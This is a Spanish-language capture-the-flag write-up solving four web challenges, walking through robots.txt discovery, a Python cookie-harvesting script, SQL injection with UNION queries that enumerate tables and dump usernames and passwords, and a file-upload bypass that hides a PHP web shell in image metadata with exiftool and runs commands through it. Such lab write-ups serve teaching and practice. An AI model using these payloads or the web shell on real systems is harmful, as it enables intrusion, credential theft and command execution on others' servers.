#Unknown Site 1
Author: Virgula

¿Está claro no? No es necesaria mucha explicación…
Un robot y el logo de Google… pues directos a robots.txt
DANTE{Yo0_Must_B3_A_R0boTtTtTtTTtTAD6182_0991847}
/s3cretDirectory1/
/s3cretDirectory2/
/s3cretDirectory3/
#Unknown Site 2
Author: Virgula
En este nos manda de nuevo al sitio anterior y como se puede ver… hay 3 directorios super secretos! Entramos en cada uno de ellos, en los dos primeros hay dos textos y en el tercero una lista enorme de ficheros php. Si entramos en cualquier de ellos hay un simple texto, por lo que abro el inspector del navegador y miro lo tipico… localStorage, sessionStorage y cookies, en las que vemos una cosita interesante…

La primera prueba que hice fué ponerle valores a esa cookie… YES, YEP, YUP 🤣🤣
La otra opción era entrar en cada uno de los ficheros, ya que en las cabeceras de respuesta, es donde indicaba set-cookie. No era viable la opción de abrirlas a mano asi que hice un pequeño script de python.
import requests
import re
from pwn import *
from urllib.parse import unquote
initialProgress = log.progress("Realizando solicitud inicial")
response = requests.get("https://unknownsite.challs.dantectf.it/s3cretDirectory3/")
html = response.text
initialProgress.success("✅")
extractHrefProgress = log.progress("Extrayendo valores de href")
regex = r'<a[^>]+href=["\']([^"\']+)["\'][^>]*>'
hrefValues = re.findall(regex, html)
extractHrefProgress.success("✅")
getCookiesProgress = log.progress("Obteniendo cookies de todos los enlaces")
for idx,href in enumerate(hrefValues):
url = f"https://unknownsite.challs.dantectf.it/s3cretDirectory3/{href}"
response = requests.get(url)
result = response.headers.get("set-cookie")
getCookiesProgress.status(f"{idx}/{len(hrefValues) }")
if result is not None and "nope" not in result.lower():
getCookiesProgress.success("✅")
log.success(f"La flag es: {unquote(result)}")
break

#Dante Barber Shop
Autor: rom7x

Como es habitual… analizamos el código de la web, aunque a primera vista se ve un enlace a login, que evidentemente, nos vamos directos.
¿Qué es lo primero que pruebo?
' OR 1=1 --
No funciona… asi que toca remirar el código de nuevo, etiqueta por etiqueta, linea por linea… En principio no hay nada que nos llame la atención, salvo esta parte… el grid de imágenes
<div class="image-grid">
<img src="img/barber2.jpg" alt="Barber Shop" />
<img src="img/barber3.jpg" alt="Barber Shop" />
<img src="img/barber4.jpg" alt="Barber Shop" />
<img src="img/barber5.jpg" alt="Barber Shop" />
<img src="img/barber6.jpg" alt="Barber Shop" />
<img src="img/barber7.jpg" alt="Barber Shop" />
</div>
¿Te has dado cuenta? ¿Y ahora? ¿Lo quieres saber ya?
Exacto, el nombre de las imágenes es correlativo PERO ¿por qué empieza en barber2? ¿Es raro no? Pues vamos a mirar la imagen barber1 a ver si existe.

Efectivamente, existe y ademas con sorpresa…
Hacemos login con ese usuario y contraseña para acceder al dashboard de la barbería. (barber/dant3barbersh0p_cLIVeSidag)

Vaya! Nos dice que no hay una flag para nosotros pero que podemos buscar clientes. Empezamos probando algunas inyecciones sql
' --
' ORDER BY name DESC ❌ -- Nos falla porque no hemos "comentado" el resto de la query que hay (Error: SQLite3::query(): Unable to prepare statement: 1, near "%": syntax error);
' ORDER BY name DESC -- ✅ Funciona la ordenación con lo que este formulario es vulnerable a SQLI
' ORDER BY flag -- ❌ -- Error: SQLite3::query(): Unable to prepare statement: 1, no such column: flag // Aqui intenté ver si tenia una columnas llamada flag
Después de muuucho investigar y leer sobre SQLI, empiezo a ver BLIND SQLI y UNION ATTACK, estas dos cosas se suelen utilizar para averiguar las columnas de una tabla sin conocer el schema.
Empezamos las pruebas…
' UNION SELECT NULL, NULL, NULL FROM customers --
OUTPUT
Error: SQLite3::query(): Unable to prepare statement: 1, SELECTs to the left and right of UNION do not have the same number of result columns
Aqui he dado por hecho un par de cosas:
- La tabla del listado es customers
- Mínimo tiene 3 columnas name, surname y phone que son las cabeceras de la tabla
Ahora toca ver si realmente estamos en lo cierto…
Comenzamos con Union Attack para averiguar el número de columnas, en las pruebas anteriores probé con 3 columnas y me decia que el número de columnas devueltas con el union era distinto… con lo que
' UNION SELECT NULL, NULL, NULL, NULL FROM customers --

Ha funcionado con 4 columnas, por lo que la tabla customer tiene 4 columnas. Toca averiguar las tablas que tenemos disponibles, para esto busco información sobre SQLite, que según los errores anteriores es las base de datos utilizada. Para ver las tablas que hay en la base de datos hay que realizar queries sobre sqlite_master. Si consideramos que la primera columna (que no se muestra) es el id, intentamos que en la columna del nombre (name) aparezca el nombre (columna name de sqlite master) de las tablas.
' UNION SELECT NULL, name, NULL, NULL FROM sqlite_master --

Tenemos 3 tablas, y dos que nos interesa customers y users. Pero nos centramos en user para intentar ver los usuarios y sus contraseñas. ¿Lo más normal es que las columnas se llamen username y password no?
Ese es nuestro objetivo
' UNION SELECT NULL, username, password, NULL FROM users --

Anda! Tenemos un usuario admin… Pues al login que vamos…

#Dumb Admin
Autor: Virgula
Nueva prueba de inyección sql típica, al hacerla y poner de contaseña ’aaa’, nos devuelve un mensaje de ‘Invalid password format’. Hay una validación en la contraseña, itento una contaseña con mas caracteres, mayúsculas y números… aaaAAA1234 junto a la típica SQLI, ’ OR 1=1 — y efectivamente entramos al dashboard.

Viendo la pantalla, todo nos hace indicar que hay que conseguir subir un fichero capaz de ejecutar comandos. Probamos a subir un fichero php tal cual, pero nos devuelve un mensaje el servidor: The extension ‘.php’ indicate it is not an image!
Como es normal, cambiamos la extensión del fichero de .php por .jpg.php y aún así nos devuelve otro error: Uploaded file seems to be not a real image!
Hay alguna libreria que está validando la imagem, tendremos que camuflar el código php en una imagen válida…
Utilizando exiftool podemos conseguir este propósito, tenemos una imagen válida de un 1px y le agregamos unos metadatos, concretamente un comentario:
<?php system($_GET['cmd']) ?>
Quedando el comando de la siguiente manera:
exiftool -Comment="<?php system(\$_GET['cmd']) ?>" image.jpg
Y a esta imagen le agregamos el .php, la subimos y parece que todo ha ido como quería:

Abrimos la imagen en una nueva pestaña y como hemos creado un fichero que ejecuta comandos en el sistema, con el parámetro cmd.
directoriodeimagenes/guid_de_la_imagen.jpg.php?cmd=whoami
Nos queda probar:
directoriodeimagenes/guid_de_la_imagen.jpg.php?cmd=cat ../../../../flag.txt
